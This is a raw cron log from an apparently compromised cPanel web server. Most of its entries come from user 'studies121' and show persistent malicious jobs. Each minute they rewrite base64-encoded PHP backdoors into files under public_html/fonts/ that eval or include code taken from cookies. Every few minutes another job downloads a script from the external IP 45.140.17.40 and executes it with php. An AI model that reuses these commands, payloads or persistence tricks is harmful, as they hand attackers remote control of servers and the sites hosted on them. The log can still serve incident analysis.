Aug 31 20:08:01 ip-184-168-122-23 CROND[22226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:08:01 ip-184-168-122-23 CROND[22225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:08:01 ip-184-168-122-23 CROND[22227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:09:01 ip-184-168-122-23 CROND[22396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:09:01 ip-184-168-122-23 CROND[22398]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 20:09:01 ip-184-168-122-23 CROND[22399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:09:01 ip-184-168-122-23 CROND[22401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:09:01 ip-184-168-122-23 CROND[22400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:10:01 ip-184-168-122-23 CROND[22497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:10:01 ip-184-168-122-23 CROND[22498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:10:01 ip-184-168-122-23 CROND[22504]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:11:01 ip-184-168-122-23 CROND[22592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:11:01 ip-184-168-122-23 CROND[22593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:11:01 ip-184-168-122-23 CROND[22594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:11:01 ip-184-168-122-23 CROND[22596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:12:01 ip-184-168-122-23 CROND[22688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:12:01 ip-184-168-122-23 CROND[22686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:12:01 ip-184-168-122-23 CROND[22689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:12:01 ip-184-168-122-23 CROND[22685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:12:01 ip-184-168-122-23 CROND[22687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:13:01 ip-184-168-122-23 CROND[22771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:13:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:13:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:13:01 ip-184-168-122-23 CROND[22774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:14:01 ip-184-168-122-23 CROND[22850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:14:01 ip-184-168-122-23 CROND[22853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:14:01 ip-184-168-122-23 CROND[22855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:14:01 ip-184-168-122-23 CROND[22854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:14:01 ip-184-168-122-23 CROND[22852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:15:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:15:01 ip-184-168-122-23 CROND[22939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:15:01 ip-184-168-122-23 CROND[22937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:15:01 ip-184-168-122-23 CROND[22940]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 20:15:01 ip-184-168-122-23 CROND[22941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:15:02 ip-184-168-122-23 CROND[22946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:15:02 ip-184-168-122-23 CROND[22948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:16:01 ip-184-168-122-23 CROND[23031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:16:01 ip-184-168-122-23 CROND[23033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:16:01 ip-184-168-122-23 CROND[23036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:16:01 ip-184-168-122-23 CROND[23037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:16:01 ip-184-168-122-23 CROND[23038]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:16:01 ip-184-168-122-23 CROND[23034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:17:01 ip-184-168-122-23 CROND[23210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:17:01 ip-184-168-122-23 CROND[23211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:17:01 ip-184-168-122-23 CROND[23212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:17:01 ip-184-168-122-23 CROND[23213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:18:01 ip-184-168-122-23 CROND[23291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:18:01 ip-184-168-122-23 CROND[23294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:18:01 ip-184-168-122-23 CROND[23293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:18:01 ip-184-168-122-23 CROND[23295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:18:01 ip-184-168-122-23 CROND[23298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:19:01 ip-184-168-122-23 CROND[23375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:19:02 ip-184-168-122-23 CROND[23378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:19:02 ip-184-168-122-23 CROND[23377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:19:02 ip-184-168-122-23 CROND[23379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:20:01 ip-184-168-122-23 CROND[23468]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:20:01 ip-184-168-122-23 CROND[23473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:20:01 ip-184-168-122-23 CROND[23476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
